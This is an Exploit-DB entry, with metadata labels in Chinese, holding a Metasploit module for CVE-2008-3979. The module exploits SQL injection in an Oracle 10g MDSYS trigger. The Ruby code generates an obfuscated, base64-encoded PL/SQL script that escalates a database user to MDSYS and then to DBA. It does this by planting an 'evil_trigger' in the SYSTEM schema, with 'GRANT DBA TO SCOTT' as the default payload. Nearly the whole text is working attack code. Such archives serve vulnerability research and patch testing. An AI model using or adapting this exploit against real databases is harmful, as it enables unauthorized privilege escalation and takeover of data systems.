标题: Oracle 10g - MDSYS.SDO_TOPO_DROP_FTBL SQL Injection (Metasploit) EDB-ID: 8074 CVE: 2008-3979 类型: LOCAL 平台: MULTIPLE 发布日期: 2009-02-18 漏洞利用脚本: ##
# $Id: droptable_trigger.rb
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SQL Injection in  MDSYS.SDO_TOPO_DROP_FTBL Trigger.',
   'Description'    => %q{
     This module will escalate a Oracle DB user to MDSYS by exploiting an sql injection bug in
     the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
     given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
   },
   'Author'         => [ 'Sh2kerr <research[ad]dsec.ru>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision:$',
   'References'     =>
    [
     [ 'CVE', '2008-3979' ],
     [ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],
     [ 'URL', 'http://www.ngssoftware.com/' ],
    ],
   'DisclosureDate' => 'Jan 13 2009'))

   register_options( 
    [
     OptString.new('SQL',      [ false, 'The SQL to execute.',  'GRANT DBA TO SCOTT']),
     OptString.new('USER',      [ false, 'The current user. ',  'SCOTT']),
     OptString.new('FILENAME', [ false, 'The file name.',  'msf.sql']),
     OptString.new('OUTPUTPATH', [ false, 'The location of the file.',  './data/exploits/']),
    
    ], self.class)
 end

 def run
  name1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
  name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
  rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
  rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
  rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
  rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
  rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

  function1 = %Q|
   CREATE OR REPLACE PROCEDURE #{name1}
   AUTHID CURRENT_USER AS
   PRAGMA AUTONOMOUS_TRANSACTION; 
   BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}'; 
   END;
   |


  function2 = %Q|
   CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is
   PRAGMA AUTONOMOUS_TRANSACTION;
   STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);
   BEGIN #{datastore['USER']}.#{name1};
   end evil_trigger;';
   BEGIN
   EXECUTE IMMEDIATE STMT;
   COMMIT;
   RETURN 1;
   END;
   |

  prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"
  
  exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""
  
  exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"
  
  fun1  = Rex::Text.encode_base64(function1)
  fun2 = Rex::Text.encode_base64(function2)
  prp  = Rex::Text.encode_base64(prepare)
  exp1 = Rex::Text.encode_base64(exploiting1)
  exp2 = Rex::Text.encode_base64(exploiting2)
  

  sql = %Q|
   DECLARE
   #{rand1} VARCHAR2(32767);
   #{rand2} VARCHAR2(32767);
   #{rand3} VARCHAR2(32767);
   #{rand4} VARCHAR2(32767);
   #{rand5} VARCHAR2(32767);
   BEGIN
   #{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));
   EXECUTE IMMEDIATE #{rand1};
   EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';
   #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));
   EXECUTE IMMEDIATE #{rand2};
   EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';
   #{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
   EXECUTE IMMEDIATE #{rand3};
   #{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));
   EXECUTE IMMEDIATE #{rand4};
   #{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));
   EXECUTE IMMEDIATE #{rand5};
   END;
   /
   DROP FUNCTION #{name1};
   DROP FUNCTION #{name2};
   |


  print_status("Creating '#{datastore['FILENAME']}' file ...")  
  file_create(sql)


 end

end 

# milw0rm.com [2009-02-18] URL: https://www.exploit-db.com/exploits/8074